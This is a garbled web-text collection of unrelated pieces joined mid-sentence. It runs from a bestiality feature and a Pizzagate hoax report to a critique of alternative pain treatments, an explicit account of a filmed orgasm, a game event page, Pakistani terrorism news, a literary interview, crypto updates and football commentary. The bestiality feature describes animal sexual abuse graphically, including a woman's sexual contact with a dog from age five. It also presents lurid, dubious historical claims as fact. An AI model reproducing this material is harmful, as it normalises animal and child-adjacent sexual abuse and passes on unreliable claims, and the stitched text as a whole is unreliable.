Despite the perception of the practice as ethically corrupt, bestiality has always been a part of human history, albeit quietly. According Dr. Miletski, during the spring fertility of Babylon, men and women would use dogs (in secret) for multiple-day orgies, exhausting the abused animal until it died. Then, the dead dog's penis was cut off, hardened and dried, and used for sexual escapades. The Egyptian Old Kingdom pharaoh Cheops, who is famous for building one of the pyramids, often boasted about the passionate sex he had with mares; one of the most famous orgies of ancient Rome featured the goddess Bona Dea and a bunch of dogs. It's even documented that one of Hitler's doctors at Auschwitz was obsessed with bestiality experiments and tried to create a dog-woman hybrid from Jewish and Polish females to use for manual labor. (We now know that, although a dog's sperm will swim to a human female's egg, it cannot inseminate it.) According to Miletski, it's also aggressively rumored that Hitler's wife, Eva Braun, had sex with dogs for pleasure, which explains Hitler's fascination with his German shepherds.
Read More: Why Do Teen Girls Like Gay Porn?
In modern, post-war society, Denmark was the first country in Europe to legalize bestiality, in 1969. Soon after emerged the queen of bestiality pornography, Bodil Joensen, who grew up in rural Denmark with her religious, abusive mother who did not allow her to communicate or converse with other children.
Many would argue that this contributed to Joensen's sexual interest in animals; Joensen was cut off from humans and found love in her family dog. In a 1974 study on sexuality done for the Playboy Foundation, Morgan Hunt said, "During early childhood, the human being is thoroughly imprinted and taught to choose other human beings as love objects and, eventually, as sex objects." So, Hunt argues, "most human-animal sexual encounters are isolated or rare experiences of a primarily experimental nature, and are largely confined to the early stages of life." Joensen saw her beloved dog as her only friend and had her first sexual experiences with the animal as a teenager. She left home at 15, eventually being taken in by a local farmer who let her help out with the insemination of his pigs.
At this time Denmark was becoming a hub for outrageous pornography, and its spearhead was director Ole Elge. Joensen acquired her own farm (which she dubbed "Insemination Central"), populated it with every type of animal you could imagine, and eventually called up Ege to do some work with him. According to the 2006 British documentary "The Dark Side of Porn: The Real Story of Animal Farm," Joensen herself suggested that Ege film her fucking one of her animals. During 1969 to 1972 she made over 40 bestiality movies, with Ege and another documenter eventually teaming up to film Joensen's life on the farm in a film, "A Summerday" (called Animal Lover in the US). The film was set to Beethoven and showed Joensen living amongst her rabbits, cat, dogs, pigs, and horses as though she was an animal herself. It won the grand prize in Amsterdam's Wet Dream Film Festival in 1970, turning Joensen into an unlikely underground celebrity.
However, after years of allowing sex tourists to visit her farm and do they pleased, the world lost interest in the "queen of bestiality." Joensen eventually faded from prominence, lost her farm (due to neglect), and even spent time in jail. After police killed her beloved dog Spot, she got into prostitution and turned to cherry wine and sedatives to cope with her depression.
"In my situation it's very hard to turn down the most disgusting propositions," Joensen said in an interview before her death, referring not to sex with animals but to paid sex with men. "For me, staying alive in the hooking business is hell." She wore a locket sporting a picture of Spot around her neck until the day she died.
When I started this research my goal was simple: to talk to a woman who has had sex with an animal for either pay or pleasure. Male zoophiles dominated Miletski's statistics (she had 80 male participants and 11 female), and I wasn't interested in interviewing yet another pale German man about all the "beautiful, reciprocal" lovemaking he shares with his mutt.
I chased every connection in the porn world I had, following leads that left me dead-ended in the same place: Any female performer who had done bestiality porn was dead, had mysteriously fallen off the map, or was working in Brazil and unresponsive to my requests for contact. I met a friend of a friend who had leads to female bestiality performers in Germany, but he lost touch when the girls were weary of talking. Chessie Moore (the MILF porn star who moved to quiet Kansas after her breasts erupted) was too busy webcamming to return my pesky messages about her past in dog films.
Defeated and without a subject, I turned my focus to those who fucked animals for pleasure, not pay, and dove deep into Beast Forum, the biggest international zoophilia chatroom going. The interface was outdated, like an Angelfire site from the early 2000s, but thousands of people are active daily. When I originally signed up for a profile, I forgot to change my gender to female and was shot down by almost any woman I approached in a chat room. I was honest about why I was there and batted down constantly. "I have no interest in talking to you for your work," one lady retorted. This was the only place I was going to find an experienced zoo, so I filled out my profile page accurately as though I was on OkCupid and hit the chatrooms the next night. I offered my thoughts in public threads and spent hours integrating myself into the site. Suddenly, a few females were willing to open up with me. I quickly discovered women were mostly about having a relationship to animals rather than having sex with them, as Miletski would attest.
"I'm generalizing here, but in my clinical studies women are less interested in sexually deviant behavior," Miletski had told me over the phone weeks before my foray onto Beast Forum. "The women that were in my [bestiality] study actually cherished the relationship to their animal partner. That was a big part of the whole appeal to these women, and all their partners were male dogs."
Zoophilia and bestiality are, by definition, different. According to most dictionaries, zoophilia is defined as "extreme love for animals, specifically abnormal sexual attraction to animals," whereas bestiality is not about love, but just sex: It is "any sexual relations between a person and an animal." Zoophiles will often proudly acknowledge they are just that, while some people who sodomize animals are very careful to define they are not, nor ever will be, zoophiles.
I logged into Beast Forum at night, when most of the action happened, and I trolled discussion groups: "Does Your Partner Know You Are Into Bestiality?", "A Wife's Priority: To All The Married Ladies Out There," "Hey Housewives," and pages and pages of forums on the stigma facing zoophiles who keep their sexual orientation secret from the "normals" in their lives. For some, it is just that: a sexual orientation. They argue they could not change even if they wanted to (and most do not.) For a lot of women in the discussion groups, their zoophilia started with some kind of fucked-up rejection from humans. One girl confessed that when her older boyfriend humiliated her after his wife caught her blowing him, she wished men were more like her loving dog, and then just ended up making the dog her boyfriend. Others wrote about life after divorce and finding calm, comfort, and great sex in their animal lovers.
The women that were in my [bestiality] study actually cherished the relationship to their animal partner.
Other women spoke of the secret oral sex their family dogs gave them when their husbands went to work. "My hubby does not know and probably never will," MochaMilkMaid explained. "It's very exciting to know that we will have our fun. My heart is usually thumping a mile a minute before our time together." Other husbands knew, watched, videotaped, and loved being involved. There were public threads, years long, debating topics like jealousy their boyfriend's felt over the animals, love, and basic bestiality techniques; the animal lovers are always dogs, a disproportionate number German shepherds. They spoke openly about how oral sex with a dog was incomparable to sex with a human.
But despite the pages and pages of insider information, my mind was breaking in half. Why animals? How?
"I've never fallen in love with an animal that didn't return the love," one woman wrote. Most people on the message boards and in Miletski's study said the same thing. People can reject you, tell you to fuck off; an animal can't disappoint you the way a human being can. Your relationship to a dog can't deteriorate over money problems or jealousy or sexual disinterest. It can't fall "out of love" because it never was in what we define as love in the first place. A sexual relationship with an animal is basic, simple, and never emotionally exhausting. On the flipside, you cannot keep a person hostage under your domestic rule the way you can an animal. Although no zoophile on Beast Forum confessed to seeing her relationship as having a power dynamic, there is no way it wouldn't be.
"People [on Beast Forum] are desensitized to the oddity of [bestiality], because you all have this forum and each other," wrote lilknottyone.
It's weird folks, don't deceive yourself. Sex is seen as a subject for behind closed doors no matter the [sexual] preference and zoophilia is one of the oddest of sexual taboos. You can site stories from the past or say look at all the members on this site, it's more common than you think, but you are only foolin' yourself to make yourself feel better. Since most of the population see's fucking an animal as not normal, it therefore is not normal. Like it or not majority rules. [all sic]
That same user and I got to talking in a private chat. In fact, she was one of the only women willing to talk with a curious writer, even though she refused to disclose anymore than her username. It took days of coaxing. "I think you might be quite disappointed with me," she wrote. "I believe normal to be a mathematical myth. I will not embellish for your enjoyment nor will I answer any question that I feel is too personally intrusive. That being said, I welcome your questions."
Lilknottyone told me she is not a typical zoo; she eats meat and has "never been in love with an animal," despite having had various sexual relations with them since the age of 5, when she would play with the family poodle's penis. "I am just highly sexual," she told me. "When curiosity hit, I would explore. Kind of like masturbating, but with another. Ninety-nine percent of my sexual activities involve other adult humans of both sexes. I am not an exclusive zoo by any means."
Lilknottyone said only her partner knows about her bestiality and that they do it together. ("To be honest, a man fucking a female dog [or] mare creeps me out beyond belief. It makes no sense, but I don't know there seems something wrong about it," she wrote to me one night when we got onto the subject.) She doesn't tell anyone else in her daily life, and this chat room--no matter how filled with deceptive folks looking for "attention or sexual gratification"--is still appealing to her for community. (She's posted 865 public threads.) As someone who partakes in bestiality and is not a full-on zoophile like Joensen, she reflects somewhat objectively on her own inter-special sex as a taboo as dark as pedophilia.
"Deviance may be a strong word, because it's wrong to some, but the deviance behind it is the turn on," she told me. "But if I had not seen a dog consent or even initiate sex, I too would think they are unwilling partners. There are individuals who harm [other] animals, just like adult harm adult and adults harm children, but most people don't. There are many reasons people have sex with animals and not all stem from metal dysfunction...says the girl who fucks dogs, haha."
Deviance may be a strong word, because it's wrong to some, but the deviance behind it is the turn on.
Before our weeklong discussion came to an end, Lilknottyone warned me about talking to other people on Beast Forum. "If this is really for a piece you are working on, most [users] will think you are full of shit and either play with you, or try to convert you, thinking you are secretly interested in fucking your dog, or that you are an undercover cop. LOL. Use your instinct and gut feeling about who is lying."
During her peek of acceptance and popularity, Joensen did a bestiality advice column in SCREW magazine, helping other curious zoo females intimate sex with animals safely. In one entry, a reader asked her what the point was in sucking off a pig, since the semen "is so thick and clots so fast and it can stick in your throat and choke you to death."
Joensen responded with a beauty tip in broken English. "But don't you know the semen is making a beautiful cold cream compress for the shinningness [sic] and smoothness of the face skin? No pimples any more I am having since this wonderful discovery."The police said on Wednesday that Roberta’s had been targeted for harassment twice in the past week since being linked to the hoax.
The bogus story originally focused on a Washington pizzeria, Comet Ping Pong, which has been subjected to a barrage of threats and unwanted attention since the conspiracy theory began to spread in the days before the election.
One person drawn by the hoax came at the restaurant to live-stream activity there. Others have stood outside holding signs. And this week, a 28-year-old man was arrested after he drove to Washington from North Carolina and fired an assault-style rifle inside the restaurant, the authorities said. The man, Edgar M. Welch, told the authorities he planned to help rescue children after reading the fake news story online.
In the case of Roberta’s, commenters on Voat and social media sites mined the restaurant’s social media accounts for images that some felt represented expressions of Satanism or the occult: a logo from its wine menu of a skeletal hand holding a wine glass under an upside-down cross, and a T-shirt in which some discerned a crescent moon and a star. One Voat commenter described seeing a “little kid with his hands tied together” embedded in the T-shirt logo.
“The more I dig those emails and new findings,” another Voat commenter wrote, “the clearer it gets, most of those so-called elites made a cult out of pizza. Disturbing indeed.”Shares
Since passing my board exams in family practice in 1979 I have relied heavily on the American Academy of Family Physicians for continuing medical education via the American Family Physician and the AAFP home study programs. The AAFP prides itself on its evidence-based approach to medicine. In general, it delivers. But the recent FP Essentials Number 432 on “Chronic Pain Management” fell short. It recommended treating chronic pain with acupuncture, chiropractic, touch therapy, and S-adenosyl methionine (SAM-e), presenting them in a way that misled readers into thinking that the recommendations were based on good scientific evidence. They were not.
With 6,500 peer reviewed journals and over two million papers published every year, it is easy to find a study to support pretty much any point of view. John Ioannidis taught us that most published research findings are false, with preliminary studies frequently being overturned by larger, better follow-up studies. When evaluating the evidence for a treatment, it is not enough to find one or two positive studies. It is essential to also look for negative studies and for systematic analyses that weigh all the published evidence, and to put all the available evidence into perspective. The authors failed to do that.
Acupuncture
First, let me point out that the lead author incorporates acupuncture into her practice. This could be considered a conflict of interest. She obviously believes in it, which is bound to interfere with an objective interpretation of the published evidence. The personal experience of seeing patients improve after a treatment can be very compelling, but it is notoriously misleading. Medieval blood-letters saw patients recover after their treatments and never realized they were doing more harm than good. Surgeons who performed internal mammary artery ligations for heart disease had a 90% success rate, and it took two sham surgery experiments to convince them that the operation was actually useless. Only controlled studies can determine whether a treatment is more effective than placebo. As Mark Crislip says, “In my experience” are the three most dangerous words in medicine.
“Acupuncture” is not a single well-defined treatment. The authors themselves point out that it may refer to needles, acupressure, electrical stimulation, moxibustion, cupping, or herb placement; and it can actually refer to many more varieties such as esogetic colorpuncture (with colored light) and Tong Ren (tapping meridians on acupuncture dolls with a metal hammer). The references they cite are for more than one form of acupuncture, so their claim that “acupuncture” has been shown to relieve pain is so imprecise that it is virtually meaningless. They say it involves stimulation of specific points, but the highest quality research has shown that it doesn’t matter where you put the needles; stimulation of non-acupuncture points works just as well. It doesn’t even matter whether you use needles; one study showed that touching the skin with toothpicks worked just as well as individualized and standardized acupuncture. They say that acupuncture points are thought to be associated with unique electrical measurements, and that their stimulation results in a release of neuromodulators that can affect the central nervous system locally and systemically. Those claims are not supported by credible evidence. There have been many studies attempting to define a mechanism by which acupuncture might work, but those studies are flawed and inconclusive. They contradict each other instead of building on each other to develop a coherent body of evidence. Acupuncture has been shown to cause release of endorphins, but the same thing happens when you give patients a placebo sugar pill or when you throw a stick for a dog to fetch. There is no evidence that any effects of acupuncture are specific to acupoints, so it is premature to look for a mechanism to explain acupoints.
Edzard Ernst was the world’s first professor of complementary medicine. A former user of many kinds of alternative medicine, he set out to test which ones really worked. In Trick or Treatment: The Undeniable Facts about Alternative Medicine, the book he co-authored with Simon Singh, they concluded: “While there is tentative evidence that acupuncture might be effective for some forms of pain relief and nausea, it fails to deliver any medical benefit in any other situations and its underlying concepts are meaningless.” [emphasis added]
The FP Essentials authors cherry-picked studies showing that acupuncture is effective; they omitted other studies showing that it isn’t. When the results of studies conflict, the next step is to do a systematic review. In the case of acupuncture, the systematic reviews also conflicted. So Edzard Ernst and two Chinese colleagues did what was obviously the next step: a systematic review of systematic reviews of acupuncture for pain. They found that there were only four conditions for which more than one systematic review agreed: in three cases they agreed that acupuncture didn’t work; in the fourth, they agreed that it worked for neck pain. I ask you: if studies of a pain pill gave similarly heterogeneous results and indicated that it worked for pain in the neck but not for pain anywhere else in the body, would you choose to take that pill for pain, or would you suspect that something might have gone wrong with the positive studies?
When the Medical Letter reviewed acupuncture in 2006, they concluded:
Acupuncture alone has not been shown in rigorous, duplicated studies to benefit any defined medical condition.
The Center for Inquiry issued a policy statement on acupuncture in 2010. It said,
It is becoming increasingly clear that the placebo effect accounts for much of the optimistic research on acupuncture published between the 1970s and 1990s. With the development of sham needles during the past decade – needles which retract like stage knives [Streitberger needles] – researchers have since been able to more accurately assess the therapeutic effects of acupuncture. The result has been a complete unraveling of nearly all acupuncture claims…The bulk of recent research strongly tends towards the hypothesis that acupuncture’s positive effects are mainly due to a built-in expectation…
In June 2013, David Colquhoun and Steven Novella reviewed the history and the evidence for acupuncture for the treatment of pain in the journal Anesthesia and Analgesia. After thousands of trials and hundreds of systematic reviews, the evidence remains controversial, weak and unconvincing. All the evidence is consistent with exactly what one would expect to find if an elaborate placebo were tested. They concluded:
that the benefits of acupuncture are likely nonexistent, or at best are too small and too transient to be of any clinical significance. It seems that acupuncture is little or no more than a theatrical placebo.
Chiropractic
The authors said that weak evidence supports manipulation alone to relieve chronic neck pain. It is “weak” indeed! A Cochrane review showed that manipulation was no more effective than gentle mobilization, and that neither was effective alone, but only in combination with exercise. Any discussion of neck manipulation should include a warning that neck manipulation can result in a rare but deadly complication: stroke. These authors didn’t mention that.
Touch therapy
The authors describe touch therapy (including healing touch, therapeutic touch, noncontact therapeutic touch, and Reiki) as “a type of energy treatment in which practitioners place their hands on or above patients to manipulate their energy.” What energy? The only reference they provide is a Cochrane review that has been withdrawn from publication because it is out of date.
Touch therapies claim to manipulate a “human energy field.” Science can measure tiny energies down to the subatomic level, but it has never been able to measure a “human energy field” and we can only conclude that it is a myth and that practitioners who claim they can sense it and manipulate it are only fooling themselves. Studies of energy treatments are what I call Tooth Fairy Science. We can study how much money the Tooth Fairy leaves under the pillow in varying circumstances (family income level, birth order, whether the tooth is placed in a plastic bag or wrapped in tissue) and we can get reproducible data that is statistically significant. We can fool ourselves into thinking we have learned something about the Tooth Fairy, but we haven’t, because there’s no such thing.
The human energy field is no more real than the Tooth Fairy. Emily Rosa did a grade school science fair project to test experienced therapeutic touch practitioners to see if they could really sense the energy field they claimed to feel emanating from Emily’s hand. They could “sense” it reliably as long as they could see her hand, but when their vision was blocked by a screen, their guesses were no better than chance. Emily’s research was eventually published in the Journal of the American Medical Association. It took a child to show that the emperor had no clothes. It is ludicrous to study something before it has been shown to exist: clinical studies of energy medicine are inherently flawed and any positive results can be assumed to be false positives attributable to placebo effects and/or to the pitfalls of experimental design.
SAM-e
For SAMe, the authors cited an article from the NCCAM (now NCCIH ) that showed only mixed results for SAM-e in osteoarthritis and said there was insufficient evidence for its use in other pain conditions. It even recommended “do not use SAM-e to replace conventional care.” They also cited a single positive clinical study from 2004, but didn’t mention a later Cochrane review from 2009 that concluded:
The current systematic review is inconclusive, hampered by the inclusion of mainly small trials of questionable quality. The effects of SAMe on both pain and function may be potentially clinically relevant and, although effects are expected to be small, deserve further clinical evaluation in adequately sized randomised, parallel-group trials in patients with knee or hip osteoarthritis. Meanwhile, routine use of SAM-e should not be advised. [emphasis added]
The Natural Medicines Comprehensive Database interprets the evidence as insufficient to establish effectiveness. Instead of rating SAM-e “Effective” for osteoarthritis, it rates it as only “Likely effective.” For fibromyalgia it rates it “Possibly effective.” It didn’t find any evidence to support its use in other pain conditions. There is no justification for recommending SAM-e for treatment of chronic pain in general.
Conclusion: I expected better of the American Academy of Family Physicians
The FP Essentials edition on Chronic Pain Management includes recommendations to treat chronic pain with acupuncture, chiropractic, touch therapy, and SAM-e. Those recommendations are not based on acceptable evidence. It is disappointing to see those alternative treatments misrepresented as evidence-based and recommended right along with conventional treatments that really are based on good quality evidence. I expected better of the AAFP.In his latest project, Hysterical Literature, photographer Clayton Cubitt takes a beautiful woman, places her at a table in front of a black backdrop and gets her to read from her favorite book while an unseen accomplice below the table attempts to bring the woman to orgasm with a vibrator. The results are an intimate, sexy experience that captures a beauty rarely found in most modern pornography.
Session Five: Teresa
Session Four: Stormy
Session Three: Danielle
Session Two: Alicia
Session One: Stoya
Stoya writes about her encounter:
Sexually speaking I really enjoy things that I can’t predict and things that are new to me. This attempting-to-read-aloud-and-maintain-composure while being sexually stimulated game is new. The video camera adds a dash of exhibitionism which I always appreciate. Most interesting, though, is the Hitachi that my vagina is about to be making very good friends with for the first time.
When I tell Clayton’s lovely assistant for the evening that I’ve never experienced the Hitachi, her eyes light up. I’ve obviously gotten myself into the most fun kind of trouble. Lights get set and everyone assumes their positions. My underwear lays on the floor out of frame. As I start reading, my disbelief is suspended. I forget what is about to happen. The first touch on my thigh sends all available blood to my vulva. I continue to enunciate properly, focusing on the text. I’ve broken a sweat. If this goes on for much longer my hair will be plastered to my head with perspiration as though I’ve been working out or engaging in acrobatic man/woman penetrative fucking. I stumble over a word, my concentration breaks as I go back to pronounce it correctly. Neither the Hitachi or the woman wielding it will be denied, but in the interests of art (and because this feels so beautifully filthy I don’t want it to stop yet) I hold out as long as I can. This section of the world that I’m inhabiting slows down, zooms in. Like a stretched rubber band it suddenly contracts, and I am lovingly punched with an orgasm.Thursday, April 7 – Tuesday, April 19
School is in session at Maple Leaf High, and Schrodinger has taken over the school and needs your help! Step into this premium mini-dungeon and complete quests to earn Model Student Candy. With Model Student Candy, you can purchase totems and pocket items—equipable stat items that boost a variety of stats. There are also other items available, including chairs, outfits, medals, and more! Sharpen those pencils! The classroom just got dangerous.
How to Play
Requirement: Your character must be Lv. 13 or above. The dungeon is solo only.
NPC Schrodinger will be in the Event Hall. Talk to him to enter the school.
You can venture deeper into the school for free once per day. More entries require a special key available in the Cash Shop or Maple Rewards Shop. Each pass will be consumed after one use. Maple Leaf High Special Class Key Price (1): 400 NX Price (11): 4,000 NX Duration: 30 days Price (1): 4 00 Reward Points Duration: 30 days Purchase Limit: 2
The goal is to get as far into the school as you can before time runs out!
After completing each room's challenge, you will be awarded Model Student Candy.
As you accumulate Model Student Candy, you'll unlock the ability to purchase items from the Model Student Locker Shop or Four Pillars of Heaven Shop in the homeroom. You can check the prices of each item by clicking on the shops in the school.
Rewards
Open Schrodinger's Box to receive a random item such as chairs, weapon covers, upgrade items and more. Check out the new Graduation Choir Chair available in the box!
Schrodinger's Box : Untradeable, 30-day duration. Open to receive a random item:
Graduation Choir Chair
Cat Box Chair
Schrodinger Chair
Captain Finger Chair
Cat Soul : 30-day and Permanent Weapon Cover Coupon. Coupon can be traded, but the cover can’t be traded after use.
Lost Kitty : 30-day and Permanent Cape Cover Coupon. Coupon can be traded, but the cover can’t be traded after use.
Pom-pom Power 3 : Weapon ATT/Magic ATT: +40, Weapon DEF/Magic DEF: +400, MaxHP/MaxMP: +800, 30-minute duration, Untradeable
Upgrade items (all untradeable except the Epic Potential Scroll 40% which is moveable within the account): Gold Bonus Potential Stamp, Gold Potential Stamp, Special Potential Scroll, Epic Potential Scroll 40%, Bonus Potential Scroll 60%, Special Bonus Potential Scroll, Perfect Innocence Scroll 50%
Nebulite Box : 30-day duration. Open to receive a random Nebulite.
Superior buff potions
Restorative items
Note : On Reboot world, only the following upgrade items are available: Gold Potential Stamp, Special Potential Scroll, Epic Potential Scroll 40%.
Instead, you may get an All-Cure Potion, Spell Traces, Elixirs, or a Mysterious Meso Pouch.
Want to dress up nice? Pick up the School Outfit Box which will give you a random school-themed equip item with a 30-day duration.
School Outfit Box: Untradeable, 30-day duration. Open to receive a random school-themed equip item with a 30-day duration. Items from the box can be worn regardless of gender:
Test Pen, White Bread, Nerdy Glasses
Kitty Parachute, Blue Book Bag, Hot Pink Backpack, Yellow-Green Backpack, Pink Wing Bag, Blue Wing Bag
Red Pencil Label Ring, Blue Pencil Label Ring, Green Pencil Label Ring
Green Notebook Quote Ring, Red Notebook Quote Ring, Blue Notebook Quote Ring
Stack of Books, Orange Mushroom Scholar
The Graduation Hat, Graduation Gown
Ellinia Magic School Uniform, Henesys Academy Uniform with a skirt, Henesys Academy Uniform with pants, Kerning Engineering School Uniform
Petite School Shawl, Preppy Knit Vest
Lab Gear (F), Lab Gear (M)
There are also two medals, and a Magic Pocket Pouch to make use of the Model Student pocket items!
Magic Pocket Pouch : Untradeable. Use this to open up a pocket slot. Not useful to anyone who has already opened up their pocket slot.
Mathematical! : STR/DEX/INT/LUK: +4, MaxHP/MaxMP: +600, Weapon ATT/Magic ATT: +2, Speed +10, Jump +10, Tradeable within account
Algebraic!: STR/DEX/INT/LUK: +7, MaxHP/MaxMP: +600, Weapon ATT/Magic ATT: +6, Speed: +10, Jump: +10, Tradeable within account
Totems
You can get totems of the Four Pillars of Heaven, Boss Kumi, Schrodinger, and Captain Finger. Each totem provides different kinds of stats. Each totem is a unique equipped item, so you won’t be able to have two of the same totem equipped at the same time. For example, you can have a Schrodinger At The Gym Totem equipped at the same time as a Schrodinger At The School Infirmary Totem, but you can’t have two Schrodinger At The Gym Totems equipped at the same time.
Here are the stats for the Captain Finger and Schrodinger totems. You can check out the stats of other totems in Maple Leaf High’s homeroom. All of the totems are untradeable.
Copper Captain Finger Totem : STR/DEX/INT/LUK: +6, Weapon ATT/Magic ATT: +1, Unique, Untradeable
Silver Captain Finger Totem : Req. Lv: 30, STR/DEX/INT/LUK: +12, Weapon ATT/Magic ATT: +4, Unique, Untradeable
Golden Captain Finger Totem : Req. Lv: 70, STR/DEX/INT/LUK: +16, Weapon ATT/Magic ATT: +5, Unique, Untradeable
Pointy Captain Finger Totem : Req. Lv: 130, STR/DEX/INT/LUK: +22, Weapon ATT/Magic ATT: +7, Unique, Untradeable
Schrodinger At The Gym : STR: +28, Weapon ATT/Magic ATT: +12, Unique, Untradeable
Schrodinger At The School Infirmary : DEX: +28, Weapon ATT/Magic ATT: +12, Unique, Untradeable
Schrodinger At The Chem Lab : INT: +28, Weapon ATT/Magic ATT: +12, Unique, Untradeable
Schrodinger At The Counselor's Office: LUK: +28, Weapon ATT/Magic ATT: +12, Unique, Untradeable
Pocket Items
Model Student pocket items each provide different kinds of stats. All of the pocket items are untradeable.ISLAMABAD: A day after a suicide bomber killed 72 people in a Lahore park, Prime Minister Nawaz Sharif in his address to the nation reiterated Pakistan's "resolve to fight the menace of terrorism till it is rooted out from our society."
"The government’s leniency should not be mistaken for state’s weakness," warned the premier.
The prime minister said that the entire nation is mourning after the terror attack in Lahore.
"We will avenge every last drop of our countrymen's blood," said Nawaz.
He stated that although the armed forces are carrying out Operation Zarb-i-Azb, the fight is not over yet.
Referring to the recent spats of terrorist attacks outside of Pakistan, the premier stated, "Terrorism has become a global threat and the whole world is affected by it."
"In the past three years, the government and security agencies — with national resolve backing them — have reduced terror activities across the country," said Nawaz.
The prime minister elaborated that the country is on "the path of success despite ongoing terror attacks, and the government is on track to make Pakistan the land of happiness and success."
The premier also paid his sincerest condolences to the injured and the families which suffered the loss of their loved ones in the Lahore attack.
Nawaz, however did not explicitly mention the ongoing sit-in at D-Chowk or announce a security operation against militant elements in southern Punjab.
The premier's address comes a day after the horrific suicide attack in Lahore's crowded Gulshan-i-Iqbal park and thousands of protesters breached the Red Zone in the federal capital.
PM cancels visit to Washington
The prime minister on Monday cancelled his visit to Washington to attend the Nuclear Security Summit in the wake of the tragic Lahore terror attack, Radio Pakistan reported.
The delegation will now be led by Special Assistant to Prime Minister on Foreign Affairs Tariq Fatemi.
High-level security huddle
Nawaz Sharif, while chairing a high-level security meeting in Lahore earlier on Monday, called for more proactive coordination amongst law enforcement and intelligence agencies against terrorism.
He said all provinces must step up intelligence-based operations against terrorists, adding that the goal is not only to eliminate the terror infrastructure but also to get rid of the extremist mindset.
Around 2,000 people are also protesting the execution of Mumtaz Qadri and are staging a sit-in at D-Chowk within the capital's Red Zone.
The demonstration that started early Sunday evening is still underway although the crowd has diminished from 10,000 to around 2,000 protesters.Gaslighting is one of the most extreme, dangerous and effective forms of emotional and psychological abuse in which a victim is manipulated into doubting their own memory, perception, and sanity.
Any scientists reading this may be able to actually tell me the answer to these first few questions, but they’re things I’ve kind of wondered about for a while. Is my red the same as your red or is your red actually my blue? Does my chicken taste like your chicken, or does my chicken actually taste of your lobster? I’m not asking about whether they are physically the same, but whether we perceive them in the same way.
However we perceive things, people react to the difference in that perception in different ways. Some are accepting, some actively embrace it, some hate it and get angry, and some will simply tell you that you’re wrong…
I mentioned a |
certain lines of exploration in it that are also present in the others, but it is a definitively different book. It's a sort of hiatus between my other books and what I'm writing now, but not standing apart. It's simply a different exploration.In fact, I wrote an article asking how it was possible that an author like Sergio Pitol, who to my mind is the most important living Spanish-language writer, hadn't been translated into English. It's curious, because North Americans seemed to be conscious that they had been getting things wrong in this area. Now, on the other hand, there's a large group of influential, deeply cultured people in the publishing industry in the United States who are not only conscious of this, but are also doing something to right that overly long journey through time that began when the Latin American Boom authors were first published and restarted with the English-language publication of Bolaño. I think this new opening-up of the English-language publishing market to Latin American literature is one hundred percent due to the Bolaño factor. It put an end to the preconception in the publishing world—not just in the United States, but in general—that Latin American authors only write magical realism. What was published after the Boom were, for the most part, novels by Isabel Allende and Laura Esquivel, who just followed in the wake of magical realism. Very little was published. Of course, they went on publishing new books by the Boom authors, but it wasn't until Bolaño that the interest in other authors truly broadened. The Bolaño thing was very unusual because he had an enormous impact on the reading public. And in some ways that's unjust, because many more authors have been published post-Bolaño than in the generation that was trapped between him and the Boom. My case is a little strange since, in some ways, I'm on the home side because I write in English for the North American press, yet, at the same time, my books are published in translation. I don't have to rely on a translator but neither do my books circulate in the home market. In any case, it's important to stress that there is now an interest in Latin American literature that hasn't existed for many years, and it is to be hoped that the presence of quality literature from that continent will continue to grow stronger.We’re rapidly approaching the end of 2017 and many of you are excited to hear about the latest Safex developments. However, without watching Twitter and Discord 24 hours a day, it’s impossible to keep on top of the latest news.
We’ve created this helpful page to give you up-to-the-minute information on developments, news and released by Daniel Dabek and the team.
We’ve got a team of dedicated Safex community members with eyes on the scene 24 hours a day, 365 days a year, so we’re not going to miss a thing! (also thanks to Rover87 for suggesting we build this page).
Each major update will have its own individual blog post and linked to from this page.
Last updated: 25th December 2017 @ 11:00PM GMT
Daniel and the team working hard of Christmas day to get the new website ready for launch.
Updates due in the next few days
Website redesign
Daniel confirmed that the new website is very close to release, pending a few tweaks and adjustments. I see no reason why it wouldn’t be out this week.
Whitepaper
It sounds like the whitepaper has been completed for a while, but Daniel has been waiting for the website release to coincide with the launch of the whitepaper.
Affiliate system
Clearly there will be a delay on this as the new affiliate system relied on Bittrex to fulfil and restock Safex tokens. I expect they’ll have a working affiliate solution early Q1 2018.
Wallet update
V0.0.5 is ready for deployment. If you’re familiar with Guthub you can see the updated source code here.
The latest wallet version brings a number of bug fixes, a more logical refresh method (less network intensive), and more importantly, a clearer codebase in which a new programmer can step in and continue the development of the wallet (very exciting!).
Updates due in the next few weeks
New exchanges
Daniel previously mentioned that he is in discussion with two new exchanges. You can read about it here. However, many have been campaigning to get Safex listed on Binance. As it stands right now, nobody knows if Daniel has spoken to them. Most likely, if he did, he wouldn’t be able to discuss it publicly due to contract NDAs and restrictions.
A new and exciting decentralised exchange, Next.Exchange has expressed their intention to have Safex listed on their beta exchange when it’s released early Q1 2018. No official statement has been made by Daniel regarding this, but it looks like Next are keen to have Safex listed (proof).
Alpha blockchain
Public testing of the Alpha Blockchain sounds like it will start first thing Q1 2018. I don’t have a huge amount of details right now but check back closer to new year when hopefully we’ll have more details.Trouble is brewing in the Mediterranean between Lorenzo Insigne and Napoli after he was whistled and jeered off the pitch in Napoli’s recent 1-1 draw with Athletic Bilbao in a Champions League qualifying match.
Past two seasons with Napoli
Insigne joined his hometown club in the summer of 2012 and quickly became a fan favourite. Partenopei fans criticized former coach Walter Mazzarri for not giving the player an opportunity for maturity and growth.
But when he did feature, Insigne impressed. He contributed five goals and seven assists in league play to help Napoli reach second place and a precious Champions League spot.
The arrival of Dries Mertens from PSV Eindhoven last season meant that Insigne would face competition as left midfielder under new coach Rafael Benitez. The native Neapolitan had a great start to the 2013/2014 season with good performances in Serie A and the Champions League, including a tremendous free-kick against Dortmund. Many fans thought this past season would be his ‘breakout’ year.
However, Insigne took a slight dip in form and became almost a non-factor in some matches in which he featured. His stats did not measure up to the season prior. Nevertheless, his play did improve at the tail end of the season to warrant a place in Cesare Prandelli’s 23-man squad for the World Cup. He also scored a brace in the Italian Cup final against Fiorentina.
How did this dilemma come about?
The Italian international is an exciting talent, but his decision-making needs some improvement. Insigne is great in buildup play, but sometimes can be frustrating to watch in front of goal, as he can be a bit wasteful. The 23-year-old’s shots are often blocked or fail to hit the target. Compared to Napoli’s other attackers, Insigne recorded the lowest percentage of shots on goal last season. His small stature (1.63m, 59 kg) makes it easy for defenders to muscle him off the ball. Insigne’s consistency also remains an issue.
Unfortunately, playing for his hometown club puts him in a delicate situation. Whenever he performs well he is exalted like no other. However on his off days Insigne can and has contributed to a talking point of the side’s subpar displays.
In the present
After a disappointing World Cup performance and the Dimaro incident, the warm feelings have vanished between player and fanbase.
